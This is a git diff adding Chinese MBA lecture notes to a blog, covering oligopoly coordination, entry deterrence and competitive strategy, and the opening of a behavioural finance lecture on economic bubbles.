+一个寡占市场，只有两三家公司的寡占市场，公司彼此间都有互相依存的关系，所以在定价上，各公司会互相影响。在这种情况下，大家就要培养一个默契，设计一个机制，让参与者有共同的利益，如果离开了这个机制，利益就会受到损害。 + +3.1价格触动 + +第一个叫做价格触动策略，触动策略是什么？叫牙还牙、以眼还眼。这个战略为什么会造成一个谋合？大家的价格有协调一致的作用，就不会非常激烈竞争。 + +比如，农贸市场，卖肉的跟卖肉的在一起，卖鱼的跟卖鱼的在一起，卖菜的跟卖菜的在一起，价格都保持一致。 + +3.2最惠国待遇 + +什么叫做最惠国待遇？这是美国人发明的，就是每个客户都受到我最好的待遇。 + +3.2.1杜邦案例 + +这个策略最早是杜邦发明的，杜邦告诉大家说，你是我最好的客户，一吨钢筋1000块， 从10月1号这一季，到 12月31号中间，如果降价的话，会把我降价全部退回顾客。所以顾客请放心购买，一定可以买到这一季的最低价。其他公司也被迫效仿。 + +结果是真正到了12月1号，即使原料降价了，都没有其他公司敢降价，一降价前面两个月全要赔给顾客。 + +所以，隔了6个月，价格纹丝不动。这个叫做协调机制。 + +3.2.2超市的案例 + +另外，还有超市的例子。有些超市承诺顾客，如果发现同样的商品在其他超市价格更低，将退还价差的十倍。 这个十倍价差其实就是跑路费，在这个机制之下，大家就没有降价的诱因，不谋而合。 + +3.3授权对手 + +通过专利互相授权，也可以限制竞争。比如说，A公司和B公司在研发商互相竞争专利权，如果A和B签约，A答应其所取得的专利一定以成本价授给B，否则会巨额赔偿给B，在这种安排下，B想，既然A研发成功会得到A的授权，A研发不成B也不会损失，何必多花研发费用，因此也就不会努力研究。这样A也不用多华研发经费去抵挡B，这就是通过授权而合作的案例。 + +谷歌案例也是如此。在2017年，谷歌发起PAX联盟，参与者可以免费获得交叉授权，在安卓系统上兼容谷歌程序，一方面可以壮大Android的谷歌阵容，降低各方使用软件的成本。另一方面也降低各方投入软件研发的诱因。 + +3.4价格领导 + +在某一些产业里面，最大的厂商首先喊价，如果他喊价的话，大家就照他的价格来做决定，这也是培养与潜在竞争者谋合的方式。 + +比如美国汽车业，克莱斯勒说我明年我准备涨价6%，福特说我决定涨价4%， 再过一个礼拜，最大的通用汽车说决定涨5%，于是大家都涨价5%，就是价格领导。 + +领导厂商什么意思？市场份额最高，市场份额最高意味着什么？降价的话损失最多。 + +3.5产业行规 + +每个产业有不同的行规，也会在其中形成谋合。 + +3.6交换多余产能 + +3.6.1海事保险产业案例 + +在海事保险产业，每个轮船公司每一年开标，保险公司来投标，谁得标了，谁就要把50%的标案转包给其它的海事保险公司，美其名为分散风险。 + +把50%的保险业务转包给其他人，就成为一个协调机制，大家在这个机制下面不谋而合，靠着产业的行规规规矩矩地过日子。 + +3.6.2航空公司联营 + +还有航空公司的联营，买上海航空公司上海到北京的机票，也可以去坐东航，这个叫联营，就是说你的票可以坐我的，我的票可以坐你的。 + +两家公司怎么想的？联营里面就有一个所谓的清舱价格，比如说我卖了100张票，结果有20张票跑到我的联营公司去了，那这20张票，别的联营公司跟我要钱，要多少钱？这个叫做大家的转换价格，就成为大家最低票价的基准。 + +所以，透过联营的方式，大家就有一个最低票价的基准，这个就是协调机制。 + +分享产能也是一个协调机制。在台湾，两个不同的移动通讯公司，互相分享基地台跟频谱，没有大量的激烈的竞争，所以对于这种交换多余产能，就形成了一个协调机制，让大家不会做激烈的竞争。 + +所以，每一个产业的设计是不一样的，在你这个产业，要先确定竞争对手多不多，如果说十个以上，不要做了，因为大家一定会互相杀价，最好只剩下三家四家五家，超过五家以上也很难协调彼此的利弊。所以，这个是合作的谋略。 + +3.7吸脂战略 + +吸脂战略指的是厂商只关注金字塔最顶端的市场去个，如同吃蛋糕时只吃蛋糕上的奶油一般，但是其他大厂不会报复。 + +像快递公司它只快递北京、上海，山沟里面邮政局去做，他只做最好做的那一块，这个叫做吸脂战略。 像苹果牌手机它就做价格最高的那一块，一个手机1000块美金。 + +3.8焦点竞争 + +焦点竞争就是通常我们在定价时定在299、399、499、599，不会定到285，什么276的，这样大家都集中在一个整，就避免激烈的价格竞争。 + +3.9以小搏大 + +这个策略稍微复杂一点。举例来说，比如说大厂，只有100个单位的产能，它简单假设边际成本是零，售价是十块钱，所以利润就是10乘上100，就是1000块，1000块。 + +新进入的小厂，它只有10单位的产能，它的定价是九块钱，那大厂怎么办？ + +大厂有两个战略，A的做法就降价到8.9，把小厂赶出市场，B的方案就是维持原价，让小厂抢走10%的市场份额，A好还是B好？B好。 + +小厂来了，大厂为什么不把它赶出市场？为什么送它10%的市场份额？ + +那是因为如果降价的话你要每一个都要降价， 8.9乘上100，每一个降一块一，乘上100，损失是110块，你送它10%的市场份额，损失不过100块。 + +所以小厂要跟大厂竞争的话，小厂降价，大厂要不要跟进？因为损失太大了，划不来。 那小厂是不是就可以降价，直接跟大厂竞争？可不可以？理论上是可以，但是大厂有大厂的能力，它有它的优势，它的成本结构跟小厂不太一样，会用别的优势来制裁小厂。 以小博大的战略也是一个谋合战略。 + +3.9.1华硕EPC案例 + +以小博大有这样一个例子，叫伤己一百，杀敌一千的战略。在2008年的时候，华硕EPC，就是小的PC，注重的是女性市场，很轻，只有1.07公斤，没有硬盘，可以网购，效能有限，零件也很便宜，价格只有300美金，那个时候的笔记本电脑，他自己笔记本电脑就卖600美金。 + +华硕认为这是伤己一百，杀敌一千，他的笔记本电脑只有5%的市场份额，所以出了300块EPC的时候，顾客会买自己300块的EPC，可是还有95%的买其它产品笔记本电脑的的顾客也会来买EPC。 后来证明这个策略不对。他错在他假设别人不会做，他的笔记本电脑只有5%的市场份额，是因为做的不好，那 EPC就会做的好吗？不见得。第二，当时的竞争对手HP、戴尔，他们也不是不会做，他们不做，因为它的市场份额大，才不会去做个EPC来杀自己的笔记本电脑。可是因为华硕的EPC出来了之后，逼着他们两个非要应战不可，所以他们也出个小一点小型的笔记本电脑，杀成一团，最后大家都退出了市场。 + +3.9.2星巴克案例 + +星巴克的咖啡很贵，一杯30块。看似不应该推出即溶咖啡，会造成产品自蚀。 但是星巴克的道理在于，全世界96%咖啡的消耗都在即溶咖啡产品上，所以推出一个即溶咖啡，是伤害到4%里面的一小块，伤己一百，可是面对的是96%的即溶咖啡的市场。杀敌一千就对了。 + +3.9.3折扣券竞争案例 + +在台湾，可口可乐的市场，可口可乐占有率是70%，百事可乐30%，大概全世界都是这个比例。 百事可乐就发行了一个两块钱折扣券，在瓶盖上印着，再买下一瓶的百事可乐，可以抵两块钱的折扣，目的是要促销。 + +那可口可乐应该怎么应？要不要发行折扣券？要不要降价两块？ 不能，因为自己份额大，每个降价两块，会亏惨。 可口可乐的对策是，承认对方的折扣券。最后百事可乐被迫停了。 + +3.9.4和信电信的案例 + +台湾电话费平均是每人150块人民币，和信电信是一家比较小的通信公司，市场份额10%，就出了一个叫做哈拉200，就是每月打到底200块，最多付200块。 其他三家公司的用户更多，担心营收大幅下降，所以不敢同样出此策略。 和信的股价是七块钱台币一股，卖的时候，14块钱一股，增加了一倍。 + +3.10多重市场接触 + +当有两个厂商，在不同的市场竞争的时候，双方会形成恐怖平衡，也是一种谋合战略。 如果比如说甲公司和乙公司，在A、B市场上面都有不小的市场份额，如果甲公司在A市场上和乙公司激烈竞争的话，乙公司可以在B市场对甲公司报复。这报复的结果就形成了恐怖平衡，双方忌惮对方的报复，就形成一个不谋而合的默契， 烟台万华公司开始做MDI后，就遇到过这个状况。MDI是汽车和建筑必须使用的一种绝缘材料，烟台万华进入市场后，巴斯夫的领导找到烟台万华，说wecome to the club，意即大家不要互相竞争。 + +因为当时全世界就杜邦、陶氏、巴斯夫等六家MDI厂商，分别在对方国家设销售办公室，大概市场份额就两到三个百分点，如果巴斯夫一下子没有想清楚，在美国要跟杜邦、陶氏展开激烈的竞争， 杜邦跟陶氏就可以在欧洲给你报复。 + +所以，每家公司在对方国家都有一个小小的办公室，作为一个未来报复的手段。所以，在全世界会不会激烈竞争？不会。形成了一个相互的恐怖平衡。 + +这个就是多重市场接触，结果就是创造一个恐怖平衡，有了恐怖平衡，彼此就不会激烈地竞争。 + +4．总结 总结回顾这些战略。做小战略，第一个，要问的问题，是要合作还是要竞争？应该首选合作，希望达到一个不谋而合的状态。 + +赤裸裸的合作发生过，联合围标瓜分市场、共同销售、计划性落伍、固定价格、集体动作等等，不过都是违法的行为。 + +如果这个做不到，那就要不谋而合，不谋而合最重要的就是协调机制，协调机制就是把大家的利益在一个机制的下面，通通把它摆在一起，设计一个机制，谁离开了这个机制，谁就会遭到损失，靠着利益才能把大家绑在一起，要不然，很容易大家就开始互相欺骗，然后，互相抢顾客。 + +这些策略里，第一个叫价格触动，价格触动就是你涨价我涨价，你跌价、我跌价，有诱因，跌价没诱因，双方就形成了一个默契，就不会激烈的竞争。 + +第二是最惠国待遇，通过最惠国的待遇，商家都被绑在一起了，就不会随便降价。 + +第三是吸脂策略，就是不跟别人竞争，就在市场上面找到最好的一块做我的事情。 + +第四是以小博大，小公司有小公司的好处，因为大公司不会随便降价来把小公司赶出市场，因为大公司有它的忌惮，如《反托拉斯法》、《反不正当竞争法》等。所以，以小博大的时候，大公司通常很难反应，它不反应的结果就是大家可以和平共存。 + +第五是价格领导方式，让最大的一家来定了价格，其他人都跟着他的方式来定价。 + +第六是焦点竞争，大家的价格都集中在99，5499，599，1299，8899等整数附近，就不会差距在更大的范围。 + +其他还有授权对手、交换多余产能、产业行规等。 + +最后是多重市场接触，在不同的市场上面跟对手竞争，这样，对手就不会在这个市场上面跟自己激烈的竞争，因为双方都形成了一个恐怖平衡。 + +所以，每一个产业的协调机制不一样，航空、海运、移动通讯靠的是交换多余产能达到一个谋合的机制，零售业靠的是触动的策略，达到一个谋合的一个结果，化工业、钢铁业通过最惠国待遇来达到一个谋合的策略。 + +这么多谋合策略，都是因为大家在这里就希望能够不竞争，就不要竞争。这是最高的原则。因为最好不要去做无谓的价格竞争，价格竞争是最痛苦的，因为直接就伤害到了利润。 \ No newline at end of file diff --git a/_posts/2019-06-03-392-mba1005.md b/_posts/2019-06-03-392-mba1005.md new file mode 100644 index 0000000..2ae0868 --- /dev/null +++ b/_posts/2019-06-03-392-mba1005.md @@ -0,0 +1,186 @@ +--- +layout: post +title: 【战略管理模块】 第5节 进入阻绝和竞争战略 +pid: 392 +tags: [mba] +--- + +战略管理第五讲 笔记 + +第五讲内容包括进入阻绝战略和竞争战略，竞争战略又包括垂直竞争和水平竞争。 + +战略管理课程的前三讲是关于大战略的，大战略制定之后，要思考小战略的制定，关于小战略，首先寻求谋和 ，如果没办法谋合，再去考虑竞争。运用竞争战略时，先考虑自己在市场中是否为主要厂商，即市场份额是否超过40%，阻绝对手进入的利处大部分会落在主要厂商身上。如果阻绝不了，再去选择竞争，竞争包括垂直和水平的竞争。 + +第一部分 进入阻绝战略进入阻绝战略的目的：维持竞争优势，维持高利润。维持长期竞争优势有以下2种方法： + +1）拉大跟竞争者的差距，包括成本、质量、技术等，保持竞争优势。 + +2）防止竞争者进入或模仿，应用一些进入阻绝的战略，延续竞争优势。如果阻绝不了，就要不断地找寻新产品、新市场，获得短期的竞争优势。一般而言，好公司都会有一个比较长久的核心业务，该业务就是支持企业长期竞争优势的关键。企业的成功是由很多很多的细节累积出来的。但并非每个公司的高阶主管都知道这个细节，模仿其他企业时，会碰到很多问题。做企业，要不断地更新，不断地成长。 + +1.1增加进入成本有以下几个方法： + +第一，增加经济规模。 + +第二，提高品牌竞争优势，提高进入门槛。 + +第三，增加消费者的转换成本。例如：航空公司的多飞优惠办法，飞得多，就会有免费的里程。 + +第四，利用产品空间，让对手无法进入。第五，利用专利，增加进入门槛。 + +1.2先占策略先占策略，即在竞争对手进入之前，占据该有的地点、标准等。 + +第一，地点之争。比如：街角便利店，街角的数目有限，便利店先把街角拿下来，别人就进不来了，这是地理上的先占策略。 + +第二，标准之争。比如：录像产业的标准之争。录像带，在约1980年代有两个标准： VHS和Beta。VHS是Panasonic的标准，Beta是索尼的标准。VHS在粒子、色彩上都不如Beta。所以，VHS在技术上输给了Beta。 + +Panasonic的应对策略：录像带有互补品：录像机。Panasonic的老板把VHS技术便宜地授权给美国、欧洲、韩国的公司。短短两年之内，全世界都在生产VHS的录像机，这么多VHS的录像机面市之后，录像带厂商便都在做VHS标准的录像带，因此，VHS录像带也占了很大的市场份额。 + +但索尼的Beta，自持技术优势，自己买地设厂、自有生产，错过了应对竞争的最佳时机。两年之后，全世界都是VHS的标准，没人再做Bate标准的录像带了。 + +所以，在竞争中，虽然Panasonic在技术上输了，但是通过战略上的先占策略，形成标准，就把战局扭转回来了。 + +1.3品牌扩散一个有同样作用的产品有很多 的品牌，比如洗发水。根据产品特性，可以构建一个产品的空间图，同样的产品设置多个品牌，即品牌扩散战略。 + +案例1：可口可乐例如：可口可乐，有健怡可乐、樱桃可乐、柠檬可乐、Vanilla Coke、雪碧、芬达，芬达又有苹果味、橘子味、葡萄味等。 + +但是七喜只有一个，汤教授认为七喜不会赢：虽然七喜开始卖得很好，但随着时间过去，由于其品牌单一，且可乐旗下雪碧的定位与七喜一样，在产品空间里，布满了可乐的牌子，所以七喜没法跟这么多牌子进行竞争，所以可乐会赢，七喜不会。 + +案例2：美国早餐麦片美国人吃早餐跟中国人不一样，美国人吃冷的，中国人吃热的。所以美国人把麦片倒在碗里，然后加牛奶吃。早餐麦片看上去很简单，事实上，有很多很多不同的口味，比如里面可以加樱桃、草莓、巧克力等。美国有三亿人，每天早上吃麦片，消耗量非常大，但是这么大的市场，只有四家公司生产，因为每一家都出了很多很多的品牌。由于在产品空间里布满了这四大家各式各样的品牌，所以新品牌就无法进入了。美国的早餐麦片市场根据品牌扩散的战略，抢占了大部分市场份额。 + +案例3：个人清洁用品个人清洁用品产业，例如牙膏、牙刷、洗发水、肥皂，国外的品牌较多，本土的品牌较少，因为海外品牌的公司习惯于做品牌扩展战略，在市场上有不同的定位。 + +汤教授认为，品牌扩展战略不好做，因为每个品牌的定位跟另外品牌的差距要保留一个差别，这样品牌之间才能互不影响。美国洗衣粉市场有29个品牌，各有特点：洗得鲜艳、洗得洁白、除臭、防酶等，品牌布满之后，其他厂家就无法进入了，所以这些产业基本上利润都不错。 + +以上这些都是关于品牌扩展的战略。 + +1.4超额产能超额产能，即通过维持超额产能，警告所有竞争对手，谁敢进来我就全能生产。当全能生产时，价格就会降低，这样企业盈利就会受到影响，该方法通过维持超额产能，恐吓竞争者的进入。 + +例如：佛罗里达的迪士尼乐园，迪士尼买了很大一块地，告诉所有的竞争者，如果敢进入，就再建设一个乐园，再设一个大家都活不下去。所以,迪士尼只要维持一个超额产能，就可以恐吓竞争者。 + +台积电也用了同样的策略，它告诉所有的竞争者：我手上永远有可以扩两个晶圆厂的现金，你们谁敢来，我就扩厂，让你们活不下去，最后小厂都不敢进入，只剩两个大厂：英特尔和三星。 + +这是超额产能的策略，即维持一个多余的产能，告诉所有的竞争对手，我有超额产能，你们谁敢进来，我就全能生产，将你赶出市场。 + +1.5限制定价限制定价，即厂商维持一个比较低的价格让潜在的竞争者误以为原厂商的成本很低，从而不敢进入。台塑集团的王永庆经常讲： 我宁愿一毛一毛得赚，不要一块一块得赚。汤教授认为，他真正意思是，由于台塑集团成本低，这种情况下如果还能赚钱，竞争者就都不敢进来了。所以在台湾，它是最大的石化公司，基本的想法就是限制定价，即Limit Price。 + +所以，要做进入阻绝战略，要想办法让新进来的厂家算一算，进来之后是否可以赚钱。让他们了解到品牌已经布满了，即使是低价进去，原厂商使用限制定价的策略，新厂商的竞争力也很弱，进入市场的意愿就会降低很多。 + +1.6提高对手成本提高对手成本，因为各厂商之间的成本是相通的，比如原料成本、人力成本等。所以可以通过一些手段提高对手的成本。 + +案例1：广告策略-桂格麦片Quaker oats，即桂格麦片，市场份额是50%。下一个竞争者的市场份额是25%，所以只要将10%的销售额拿出来做广告，下一个竞争者要拿20%做广告才能与之抗衡，其在市场份额上自然也会处于劣势，这种情况下，潜在竞争者无法与原厂商进行竞争，原厂商就可以长期维持其50%的市场份，赚取利润。 + +案例2：研发策略-IBMIBM，早期过度研发，每年拿10%来做研发，天天出新产，在电脑主机市场里，本来有五家公司，结果全被IBM赶走了，通过过度研发提高小公司的成本。所以，大公司有大公司的好处， IBM用过度的研发，就把小公司全都赶出市场。 + +案例3：新产品策略-美国汽车业1920-1930年代，美国的汽车业大概有四五十家汽车厂，美国一年的需求量大概是1000万辆到1200万辆。由于最小经济规模是20万辆车的需求量就可以有一个汽车厂，所以该需求量理论上可以存活约四五十家的公司。 + +为什么美国只有三家汽车厂？因为这三家每年出新车。在消费者眼里，汽车是炫耀财，从营销的视角，每年出新车是非常好的策略。从战略的视角，这是在提高对手成本，因为每当生产新车型，所有与之相关的工具全部要重新定制，此种情况下，成本较高，小厂商无法承受，因此逐渐离开市场，这是把对手挤出市场的战略。 + +汤教授认为，汽车业的战略终局：未来只存在3-4家，因为市场上没有那个经济规模。 + +案例4：技术策略-湖南叉车发动机厂湖南某叉车发动机制造工厂有70%的市场份额。当竞争者进入宣布降价2000元时，其市场份额受到威胁。 + +公司应对竞争的办法：把对手的发动机拆下来研究。一般而言，新上市的机械产品质量并不稳定，原厂商由于在产业内的时间久，质量通常可以保证。该产业内，产品的保修期都是六个月，此种情况下，原厂商把产品保修期延长至2年，因为对其而言，其质量可以保证，六个月和两年没有区别。但是对新进厂商而言，由于其质量不稳定，降价销售、成本本身就比较高，而且由于其是新厂商，即使也将保修期延长两年，市场的认可度也不高。 + +所以，原厂商的应对策略仅仅是利用其技术优势延长保修期，新进厂商就不得不退出市场，因为原厂商的产品已经很稳定了，双方的成本结构是不一样。汤教授提醒大家：要注意比较双方的产品结构，找出相关的应对策略去提高对手成本，这样就可以将对手击退。 + +案例5：借助第三方策略-福特汽车福特汽车通过美国的汽车工会提高对手成本。美国的汽车行业有汽车工会，即由工人组成汽车业的公会，当其组织罢工时，是针对某个汽车厂的罢工。美国的汽车工会每三年会跟汽车厂谈工人的工资，通常会选择三家中最弱的一家来谈，谈判方式是威胁对方，如果不涨工资就针对其罢工，而其他两家还会照常作业。所以一般而言，每个汽车公司都害怕自己被选为目标。 + +但是1988年，福特公司就希望被选中，原因如下： + +福特与GM（通用汽车）采取的是不同的战略：GM的战略是自动化，即降低人工成本，但其实总体成本比较高。福特采用的是外包的战略，将大多数成本外包。1980年代，通用和福特的汽车自制率都是45%。但那时福特自己在做钢铁厂，经过8年，即1988年时，GM的汽车自制率还是45%，福特的自制率已降低到25%。 + +此时，福特希望被选中，因为如果它涨10%的工资，对其成本而言，只是上涨2.5%，但对于GM而言，却是4.5%。这是福特通过汽车工会提高对手成本的案例。 + +案例6：人力资源策略-台积电 + +TSMC，台湾集成电路公司，在新加坡设厂。表面上看，这是一个不明智的行为，因为新加坡地震频繁，容易损坏机器。但实际上，新加坡有一个台积电最大的竞争对手：Global Foundries，该公司需要1000个工程师。新加坡两个大学，每年只产生200个电机工程师，所以台积电在新加坡设厂之后：工程师的成本上升。 + +工程师成本的上升，对台积电不过是1/10的产能，但对于Global Foundries是100%的产能。 + +案例7：免费策略-阿里巴巴阿里巴巴、淘宝网实行三年免费的政策，阻挡竞争对手进入，即使对手美国eBay进入了，通过免费政策也已将其赶出市场。 + +![](/uploads/2019/06/03-111.png) + +以上都是进入阻绝战略关于提高对手成本的案例，由于竞争各方收入结构跟成本不一样，而成本大家是互通的，所以企业要想办法提高对手成本。 + +1.7抛小玉引大砖，请君入瓮台积电战略叫抛小玉引大砖，就是让竞争者自投罗网、诱敌深入的策略。例如：台积电引诱三星进入晶圆代工产业，三星也是半导体商，看到台积电利润丰厚之后，也准备进入这个产业。台积电引诱其进入并发展先进制程。 + +三星看到台积电做7纳米，它也做7纳米，台积电做5纳米，它也做5纳米。但是先进制程很难赚钱，首先投资额非常大，大概都是在20亿美金以上。第二，要花很长的时间，工艺复杂，每一道工艺都要保证良率，投资庞大，短期之间永远没有办法获利。 + +台积电之所以这么做，是因为它有6寸厂和8寸厂，这都是十几年前设厂的，已成立三十年了，这些厂的折旧都结束了。所以，它的6寸厂和8寸厂可以源源不绝地支持5寸厂和7寸厂的发展。实际上，由于已折旧完毕，这些厂可发挥的作用才更大。 + +抛玉引砖，即让对手因小失大。关于Apple A7手机芯片的订单，台积电全部签下，到了A8时，Apple要台积电降价，台积电没有同意，Apple只能与三星签订相关合同，三星拿了订单开始扩厂，但是A9时，台积电又把订单抢了回来，导致三星产能闲置，到了A10，三星便不敢再接订单了。战略上有很多不同的做法，无论是大战略，还是小战略，都要去想出一个能够让对手没法反应的策略。 + +1.8排外销售排外销售，即禁止经销商销售竞争对手的产品，盒马鲜生禁止消费者使用微信，全部用Alipay。 + +阻绝进入有各式各样的战略，使用方式视企业的情况而定。大厂有大厂的好处，小厂有小厂的好处，小厂的好处是当低价进入市场时，大厂没办法反应，大厂的好处是家大业大，可以提高对手成本。汤教授建议小厂商不要去惹大厂商，因为大厂商反击的手段有很多。 + +![](/uploads/2019/06/03-112.png) + +第二部分 竞争战略如果进入阻绝战略无法阻挡，竞争者已进入市场参与竞争，那么就要去应对竞争，竞争战略包括两个方面：垂直竞争和水平竞争。 + +2.1垂直竞争垂直的战略讲的是垂直整合，垂直整合有战略的利益和效率的利益，从战略动机视角，垂直整合的目的在于打击竞争者、增加厂商自身的竞争优势。垂直整合共有四种策略。 + +第一，锁合战略例如，C是A和B的下游，当 A把C买下来，B就完了。垂直整合是很凶悍的战略，可置敌人于死地，竞争双方，当一方把另一方的下游买下来，基本上对手就很难有回旋的余地。 + +在台湾的食品业，该策略非常盛行，例如，统一买了7-11，所有竞争对手的销路便都被堵死了。Intel为了打击竞争对手AMD，自己去做主机板。后来，发现不用自己做，和下游华硕联合就行，所以它先跟华硕讲好下一代微处理器的规格，让华硕提早根据Inter微处理器的规格研发产品，条件是不能使用AMD的微处理器。 + +第二，价格歧视如果厂商要销售到两个细分市场：市场1：价格弹性高，售价低，市场2：价格弹性低，售价高。铝厂商的下游是做铝箔厂和铝门窗厂。铝门窗厂用铝需求大，铝锭占铝门窗的成本很大，所以其价格弹性比较高，铝箔厂正相反。这种情况下，铝厂商把铝锭低价卖给铝门窗厂之后，铝门窗厂会再转卖给铝箔厂，使铝厂商失去这部分利润。因此，铝厂商自己去垂直整合做铝箔厂，然后把铝箔的售价提高，这样就可以把价值链上的利益全部掌握在自己手里。 + +还有一种策略是在价值链中延伸独占力量，当年施乐在复印机市场有独占的地位，要求顾客用施乐提供的纸张（其纸张比较贵），否则影印机机坏了，施乐拒绝维修。 + +所以，当企业在价值链上某环节有独占地位时，大概整个价值链就会被该企业所控制。 + +第三，双头打压双头打压，即在价值链上选择性地掌握几个关键的环节，然后降价挤压其他还没有掌握上下游价值链的公司。 + +例如：油公司的价值链是炭油、运油、炼油和加油站，一般的油公司只参与炭油和加油站环节，不参与运油和炼油环节。 + +这种情况下，油公司可采用双头打压的策略：比如油公司把加油站降价，加油站事实上是一个完全竞争的市场，当加油站降价时，所有的加油站都会降价，此时它又会要求炼油厂降价，由于利益联系紧密，炼油厂会同意降低价格。 + +但是，油公司卖给炼油厂的价格会提高，因此，炼油厂的成本提高。成本提高，但是售价降低，炼油厂就倒闭了，此时油公司就会用很便宜的价格收购炼油厂。 + +所以，对企业而言，如果做两端的话，就可以挤压价值链中间厂商的利益。对于打击竞争者而言，这是一个非常厉害的做法。 + +第四，谋合工具垂直整合可作为谋合工具。比如，三星与LG在液晶荧幕领域，都是垂直整合的厂商。它们都会往产业链的下游做，即把自己所需的零件都做了。但是，三星会采购LG的零件，LG也会采购三星的零件，双方会进行这种彼此间的采购。汤教授认为这与古时候，中国把公主借给匈奴当人质一样的道理，此种情况下，万一出现激烈竞争，双方会在液晶荧幕领域维持一个比较好的价格。 + +2.2 水平竞争如果没法进行垂直整合，就只好进行水平竞争。水平竞争往往采取差异化的战略，有以下不同的策略。 + +第一，垂直差异化瑞士表整个架构分成三块：高阶表是欧米茄、浪琴，中阶表是天梭，低阶表是Swatch。 + +第二，水平差异化Swatch取胜方式是手表的多样化，主张在不同的场合戴不同的手表，其创新之处在于手表最主要的诉求不再是准时，而是时髦，所以每个人需要的不再是一只表，而是要好几只表，这样需求量一下就增大了。 + +第三，产品线差异化美国车和日本车的产品线密集程度不一样。日本车，比如Toyota，基本上4个车型，最低阶的叫做TERCEL，然后依次是COROLLA，CAMRY、LEXUS，基本上只有4个不同的市场区隔。但美国车产品线比较密，将市场区分地更细。 + +第四，跳蛙式竞争在高科技里面有跳蛙式的竞争战略。例如：三星和台积电在互相跳蛙。跳蛙即在高科技产业里，每一代有每一代的技术，企业不用在每一代都用最先进的技术，因为投资了这一代，下一代出来再投资，这样投资额就太大了，不如隔代投资，即在这一代，超越竞争对手，下一代竞争对手再超越我，再一代，就投资更先进的技术，又超越竞争对手。 + +台积电和三星就是采用了这个策略，这在高科技产业比较常见。 + +第五，直接诉求消费者例如 Intel inside、Shimano。 + +2.3价格战如果谋合、进入阻绝、垂直竞争、水平差异化竞争都无法进行，最后再进行价格战。价格竞争有以下几个做法： + +第一，经验曲线定价。经验曲线定价，即成本根据累计销量、产量在下降，先进入的厂商可以追逐经验曲线，让成本下降，后来者便无法参与竞争。 + +![](/uploads/2019/06/03-113.png) + +由上图可知：如果在产业中能够追逐经验曲线，比如当成本为C0时，价格是P0，即价格比成本低，此时就能够以价养量。然后，量起来之后，就可以降低成本，提高利润，下个阶段再降价。然后在C1时， P1价格更低，再以价养量，量起来之后，成本更低，让竞争对手永远无法赶上。 汤教授认为，这是一个很凶的战略，三星就是利用这个战略，在DRAM这个产业，把对手全部赶出市场。 + +第二，掠夺式定价。掠夺式定价，即降价把对手赶出市场。汤教授建议不要采用这个战略，原因如下：首先，如果降价，降得少，对手不会走，自身利润会受到一些损失，降得多，自身利润会受到很大的损失，对自身伤害太大。除非成本非常低，否则不要这么做。 + +其次，即使通过降价把对手赶出市场，当价格涨回来之后，对手还会再回来，再降价的话，成本太高，划不来。 + +最后，如果真的通过降价把对手赶出市场，对手倒闭了，就会以很便宜的价格卖给其他厂商，后者也会参与竞争，此时，它是一个低成本的竞争者，这种情况下，反而成就了另一个成本更低的竞争者。由此可知，价格战损失太大，价格对利润的影响太高，价格战永远没有赢家，即使通过价格战维持一个短期的价格优势，也不会长久，因为价格终究还是要上涨，上涨就会增加消费者的敏感度。汤教授非常不建议搞价格战。 + +价格战的发生通常有以下几种情况：新技术产生。此时，各厂商通过新技术带来的成本优势进行价格战。误解对手的信息。有时候，会误以为对方降价，汤教授建议此时就比竞争对手的价格稍微降低一点，告诉对手，自己无意打价格战，只要价格保持一致即可。此时，也可采用谋合战略中的触动战略，让大家回到一个不打价格战的默契。 + +不理性的理性。即表面上看是不理性的行为，实际是理性的。例如：特朗普。他发起的贸易战，看起来是不理性的行为，但实际上，他有自己的道理，即让对手摸不透自己的底牌，不知道如何去谈判。 + +![](/uploads/2019/06/03-114.png) + +第五讲总结竞争优势大多是短期的，根据汤教授的研究，通常情况下，即使是非常著名的公司，也超不过7年，竞争优势能够长到10年、20年的非常少。因此，应对竞争的办法是运用进入阻绝战略，维持竞争优势。企业要积极拉大与竞争者的差距，防止进入和模仿。 + +进入阻绝的战略是防止竞争者的进入，竞争战略在于打击竞争者。 + +价格战的结果是没有真正赢家。价格一定是最后的手段，切记千万不要当第一个竞争的手段。如果谋合、进入阻绝、垂直竞争、水平差异化竞争都做不成，再去搞价格战。 + +![](/uploads/2019/06/03-115.png) \ No newline at end of file diff --git a/_posts/2019-06-03-393-mba0901.md b/_posts/2019-06-03-393-mba0901.md new file mode 100644 index 0000000..7cd2ffc --- /dev/null +++ b/_posts/2019-06-03-393-mba0901.md @@ -0,0 +1,233 @@ +--- +layout: post +title: 【行为金融学模块】 第1节 你必须正视的经济泡沫 +pid: 393 +tags: [mba] +--- + +行为金融学模块 第一讲 + +你必须正视的经济泡沫 + +本周开始我们将更新由清华大学国家金融研究院副院长朱宁教授主讲的行为金融学模块课程。 + +第一讲主要围绕经济泡沫的概念、形成机制及其应对策略来讲述。首先，我们要知道，经济泡沫不只是中国特定历史阶段的产物，而是在整个人类经济发展历史上反复出现的现象。 + +朱宁教授认为，行为金融学就是把人类的行为、社会的行为，融入到整个金融市场和整个经济运行体系里的一个非常重要的新的分支学科。 该学科结合了社会科学里更广泛的领域，如心理学、社会学、政治学，以及狭义的经济学或金融学。正是因为这种结合，让行为金融学在过去二三十年有着高速的发展，也对整个世界的经济金融政策产生了越来越大的影响。 + +那么，为什么要将“经济泡沫”作为行为金融学第一讲的主题呢？首先，泡沫是一个事先很难判定、事后仍有所争议的话题。人类历史上出现了很多次泡沫，在过去三五十年里，泡沫并未随着人类对经济学的研究变得越来越少，反而越来越频繁和多发。其次，泡沫对任何一个国家的经济、社会、个人、企业都有非常大的影响。将泡沫作为行为金融学的第一讲的主题，是希望帮助大家从行为金融学的视角，正视经济泡沫，了解泡沫形成的机制及如何应对泡沫。 + +一、正视经济泡沫 + +1.什么是经济泡沫？ + +![](/uploads/2019/06/03-116.png) + +以上是从金德尔伯格教授对于泡沫的解读，其内容涉及到2-3个行为金融学非常关注的领域，比如资产价格、人类预期的形成过程、人类预期发生不可避免的逆转和调整的原因。 + +2.资产价格的过度波动 + +耶鲁大学金融学教授席勒先生在过去三五十年中致力于研究的领域为资产价格的过度波动，其解释如下所示： + ++ 股票市场的变动无法用股利或预期股利的折现现金流量研究来加以解释； ++ 价格波动性太大，难以通过基础面的变动来加以解释； ++ 在某些长期范围内，价格可能来自于基本面价值。 + 